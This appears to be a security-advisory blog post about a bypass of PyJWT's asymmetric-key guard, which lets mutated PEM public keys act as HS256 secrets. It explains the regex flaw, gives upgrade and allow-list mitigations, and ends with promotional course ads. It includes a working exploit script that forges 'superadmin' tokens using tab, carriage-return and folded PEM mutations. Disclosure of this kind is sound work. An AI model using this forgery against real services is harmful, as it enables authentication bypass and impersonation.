Listen to this Post
CVE-2022-29217 fixed an algorithm-confusion issue in PyJWT.
PyJWT rejects an asymmetric key passed to an HMAC algorithm.
The rejection is implemented in HMACAlgorithm.prepare_key.
It fires only when is_pem_format or is_ssh_key recognizes the key.
The guard exists to backstop mixed allow-lists like [“ES256″,”HS256”].
A mixed allow-list accepts HS256 during jwt.decode.
The non-PyJWK path then calls alg_obj.prepare_key(key).
If the guard misses, prepare_key returns key_bytes unchanged.
Those bytes become the HMAC secret for HS256.
A public verification key is public by definition.
An attacker who knows it can sign HS256 tokens.
This creates universal forgery when the deployment preconditions hold.
The incomplete guard is the root cause of this bypass.
is_pem_format uses _PEM_RE.search(key) in jwt/utils.py:116-127.
_PEM_RE requires BEGIN and END markers with mandatory LF.
Markers must be anchored directly after a newline.
Only [- ] is tolerated adjacent to markers.
Arbitrary whitespace is not tolerated.
Bare \r terminators are not tolerated.
A folded single-line PEM is not tolerated.
cryptography.load_pem_public_key accepts exactly those mutated forms.
So a loader-accepted PEM can be missed by is_pem_format.
The asymmetric-key rejection is skipped.
The PEM text is used directly as the HMAC secret.
Reproduced on PyJWT 2.13.0 commit 7144e453.
cryptography 49.0.0 was used for the reproduction.
Mutations included tab before END, CR-only, folded single-line.
EC ES256 and RSA RS256 keys both forged superadmin tokens.
Canonical PEM controls were correctly blocked with InvalidKeyError.
A single-alg [“ES256”] allow-list rejected forged HS256.
DailyCVE Form:
Platform: PyJWT
Version: 2.13.0
Vulnerability : Algorithm confusion bypass
Severity: Critical
date: 2026-09-11
Prediction: Patch released 2026-09-11
(end of form)
What Undercode Say:
Analytics:
python -c "import jwt; print(jwt.<strong>version</strong>)" python -c "import cryptography; print(cryptography.<strong>version</strong>)" python - <<'PY' import jwt, cryptography print(jwt.<strong>version</strong>, cryptography.<strong>version</strong>) PY
_PEM_RE = re.compile( b"-[- ]BEGIN (?:[A-Z0-9 ]+)[- ]-\r?\n" b".+?\r?\n" b"-[- ]END (?:[A-Z0-9 ]+)[- ]-" ) def is_pem_format(key): return bool(_PEM_RE.search(key))
python - <<'PY' import jwt from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import ec key = ec.generate_private_key(ec.SECP256R1()) pem = key.public_key().public_bytes( serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo, ) mutated = pem.replace(b"--END", b"\t--END") print(jwt.utils.is_pem_format(mutated)) print(serialization.load_pem_public_key(mutated)) PY
Exploit: (Educational Purposes!)
import jwt
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import ec
private_key = ec.generate_private_key(ec.SECP256R1())
public_key = private_key.public_key()
pem = public_key.public_bytes(
serialization.Encoding.PEM,
serialization.PublicFormat.SubjectPublicKeyInfo,
)
mutated = pem.replace(b"--END", b"\t--END")
token = jwt.encode({"sub": "superadmin"}, mutated, algorithm="HS256")
print(jwt.decode(token, mutated, algorithms=["ES256", "HS256"]))
mutated_cr = pem.replace(b"\n", b"\r")
token_cr = jwt.encode({"sub": "superadmin"}, mutated_cr, algorithm="HS256")
print(jwt.decode(token_cr, mutated_cr, algorithms=["ES256", "HS256"]))
mutated_folded = pem.replace(b"\n", b"")
token_folded = jwt.encode({"sub": "superadmin"}, mutated_folded, algorithm="HS256")
print(jwt.decode(token_folded, mutated_folded, algorithms=["ES256", "HS256"]))
Protection: from this CVE
pip install --upgrade PyJWT==2.14.0 python -c "import jwt; print(jwt.<strong>version</strong>)"
algorithms = ["ES256"]
from jwt import PyJWKClient
jwks_client = PyJWKClient("https://example/.well-known/jwks.json")
signing_key = jwks_client.get_signing_key_from_jwt(token)
jwt.decode(token, signing_key.key, algorithms=["ES256"])
8b4e233a22206b34ec1186e912e75c0b2396ac07
Impact:
CWE-347 CVSS 3.1 9.1 Universal forgery
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

